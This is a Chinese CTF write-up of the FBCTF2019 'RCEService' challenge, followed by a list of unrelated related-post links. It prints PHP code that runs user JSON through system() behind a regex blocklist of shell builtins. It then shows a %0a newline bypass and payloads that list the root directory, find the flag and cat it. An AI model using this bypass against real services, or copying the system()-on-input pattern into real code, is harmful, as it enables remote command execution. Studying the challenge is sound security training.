[FBCTF2019]RCEService

源码

python 复制代码
<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

putenv('PATH=/home/rceservice/jail');

改变了环境变量, 也就无法直接使用cat这样的命令了

需要一个完整的路径比如 /bin/cat

可以在自己的vps上面在bin目录下找到这些命令

复制代码
preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)

*$可以通过多行绕过, %0a可以绕过

json_decode($json, true)['cmd']解码成一个关联数组, 通过下标cmd访问

所以就是{%0a"cmd": "命令"%0a}的形式

列出根目录
?cmd={%0a"cmd": "/bin/ls /"%0a}

没有发现flag, 使用find命令查找一下
?cmd={%0a"cmd": "/usr/bin/find / -name 'flag'"%0a}

拿flag
?cmd={%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

相关推荐
ZZHow10242 天前
JavaWeb开发_Day05
java·笔记·web
Coder_Chang2 天前
hex文件结构速查
ctf
OEC小胖胖6 天前
【CSS 布局】告别繁琐计算:CSS 现代布局技巧(gap, aspect-ratio, minmax)
前端·css·web
Code季风8 天前
深入理解 Gin 框架的路由机制:从基础使用到核心原理
ide·后端·macos·go·web·xcode·gin
OEC小胖胖8 天前
第七章:数据持久化 —— `chrome.storage` 的记忆魔法
前端·chrome·浏览器·web·扩展
OEC小胖胖8 天前
第六章:玩转浏览器 —— `chrome.tabs` API 精讲与实战
前端·chrome·浏览器·web·扩展
cyber_两只龙宝8 天前
综合项目记录:自动化备份全网服务器数据平台
linux·运维·服务器·自动化·web
_BlackBeauty9 天前
ctfshow_萌新web9-web15-----rce
ctf·绕过·rce·flag
鹏多多.10 天前
flutter-使用AnimatedDefaultTextStyle实现文本动画
android·前端·css·flutter·ios·html5·web
OEC小胖胖10 天前
幕后英雄 —— Background Scripts (Service Worker)
开发语言·前端·javascript·浏览器·web·扩展